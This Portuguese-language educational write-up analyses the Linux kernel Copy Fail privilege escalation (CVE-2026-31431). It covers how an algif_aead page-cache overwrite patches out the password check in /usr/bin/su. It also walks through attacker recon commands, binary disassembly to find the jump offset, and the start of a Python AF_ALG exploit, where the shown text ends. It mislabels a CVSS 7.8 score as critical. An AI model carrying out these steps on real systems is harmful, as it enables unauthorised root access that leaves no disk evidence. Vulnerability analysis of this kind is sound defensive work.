
Análise detalhada da vulnerabilidade Copy Fail (CVE-2026-31431) no kernel Linux, incluindo o mecanismo de corrupção de memória, o fluxo de escalonamento de privilégios e o impacto na segurança.
Análise educacional da vulnerabilidade Copy Fail no kernel Linux.
Aborda o mecanismo de corrupção de memória, o fluxo de escalação de privilégios, a fuga de contêineres e as contramedidas defensivas.
Este repositório é destinado exclusivamente a fins educacionais e de pesquisa.
Não utilize estas informações em sistemas que você não possui ou para os quais não tenha permissão explícita por escrito para testar.
Todos os trechos de código e comandos são fornecidos estritamente para auxiliar na compreensão dos internals do kernel Linux.
CVE-2026-31431, também conhecida como Copy Fail, é uma vulnerabilidade do kernel Linux na qual um usuário local sem privilégios pode escalar para root sem nenhuma permissão especial.
O ataque opera inteiramente na RAM. O arquivo em disco nunca é tocado — ou seja, os hashes dos arquivos permanecem intactos, os timestamps não são alterados e os logs de auditoria não registram nada. Quando o sistema é reiniciado, todas as evidências desaparecem.
Usuário normal → explora falha do algif_aead → sobrescreve page cache → root
Propriedades principais:
| Campo | Valor |
|---|---|
| ID CVE | CVE-2026-31431 |
| Nome Comum | Copy Fail / Corrupção do Page Cache do algif_aead |
| Pontuação CVSS v3.1 | 7.8 — CRÍTICA |
| Tipo de Ataque | Escalação Local de Privilégios (LPE) |
| Versões de Kernel Afetadas | Linux 5.10 a 6.8 (aprox.) |
| Componente Vulnerável | crypto/algif_aead.c — interface de socket AF_ALG |
| Confiabilidade da Exploração | ALTA — Não requer condição de corrida |
| Evidência em Disco | NENHUMA — modificação apenas em RAM |
| Impacto em Contêineres | SIM — Fuga do host via page cache compartilhado |
| Status do Patch | Disponível (patch upstream do kernel lançado) |
/usr/bin/su — O Binário Alvosu (Switch User) permite que um usuário alterne para outra conta — normalmente root. É um binário SetUID:
ls -l /usr/bin/su
# -rwsr-xr-x 1 root root 68208 Jan 1 2026 /usr/bin/su
# ^-- 's' = flag SetUID
A flag s significa: quando qualquer usuário executa este binário, ele é executado com as permissões de root. Isso o torna um alvo de alto valor.
Sua lógica interna (simplificada):
if (password_correct()) {
give_root_access();
} else {
deny_access();
}
O objetivo do ataque: pular completamente a verificação password_correct().
Quando o Linux lê um arquivo do disco, ele mantém uma cópia na RAM chamada page cache.
| Componente | Descrição |
|---|---|
| Disco | Arquivo original no disco (a estante de livros) |
| Page Cache | Cópia do arquivo na RAM (a fotocópia na sua mesa) |
| CPU | Lê e executa a partir do page cache — rápido |
| Atacante | Modifica a cópia na RAM; o disco permanece intocado |
cat /proc/meminfo | grep Cached
# Cached: 1234567 kB ← este é o page cache
| Tipo | Segurança |
|---|---|
| Buffer Seguro — alocado pelo kernel, tamanho e limites controlados | ✅ OK |
| Page Cache — cópia em RAM com suporte de arquivo, compartilhada, executável | ⚠️ PERIGOSO se for gravado |
| Ponteiro Errado — endereço causado por falha apontando para qualquer lugar | 🔴 CRÍTICO |
AF_ALG (Algorithm Family) é uma interface de socket do Linux que permite que programas em espaço de usuário usem funções criptográficas do kernel (AES, SHA, AEAD).
socket(AF_ALG, SOCK_SEQPACKET, 0); // abre um socket criptográfico
algif_aead é o módulo do kernel que lida com criptografia AEAD (ex.: AES-GCM) através do AF_ALG. A vulnerabilidade reside em sua etapa de cópia de dados.
AF_ALG → algif_aead → mecanismo AES-GCM → buffer de saída
↑
A FALHA ESTÁ AQUI
A falha não está na lógica de criptografia. Está no gerenciamento de memória — a região de memória errada é selecionada durante uma cópia de dados.
destination = safe_output_buffer; // local correto
memcpy(destination, user_data, size); // dados gravados com segurança
destination = buffer + WRONG_OFFSET; // FALHA: ponteiro errado!
memcpy(destination, user_data, size); // dados caem no page cache
O kernel deveria gravar no buffer de saída seguro. Devido a um offset calculado incorretamente, ele grava no page cache — que contém a cópia em RAM de /usr/bin/su.
O binário contém código de máquina x86-64. O atacante tem como alvo o salto condicional que aciona a falha de autenticação:
Antes do ataque:
cmp eax, 0 ; verifica o valor de retorno
jne 0x1234 ; se falhar → salta para negar
call give_root ; concede root
Depois do ataque (2 bytes alterados na RAM):
cmp eax, 0 ; igual
90 90 ; NOP NOP ← salto substituído, verificação ignorada!
call give_root ; a CPU chega aqui diretamente
NOP = No Operation (Nenhuma Operação). A CPU não faz nada e avança — ignorando completamente a verificação de autenticação.
"Só preciso de uma conta de usuário normal. O kernel cometerá o erro sozinho.
O disco permanece limpo. Sem logs. Funciona todas as vezes."
whoami && id
# uid=1000(user) gid=1000(user) ← usuário normal
uname -r
# 6.1.0-generic ← dentro da faixa vulnerável
ls -la /usr/bin/su
# -rwsr-xr-x root root ← SetUID confirmado
python3 -c "import socket; s = socket.socket(socket.AF_ALG); print('AF_ALG disponível')"
cat /usr/bin/su > /dev/null
# /usr/bin/su agora está carregado no page cache ✓
xxd /usr/bin/su | head -50
objdump -d /usr/bin/su | grep -A 20 'check\|auth\|pass'
readelf -h /usr/bin/su
Procurando por: o endereço da função de autenticação, o salto condicional jne/jnz e seu offset exato em bytes.
import socket, struct
sock = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0)
sock.bind(('aead', 'gcm(aes)', 0, 16))
sock.setsockopt(socket.SOL_ALG, socket.ALG_SET_KEY, b'A' * 16)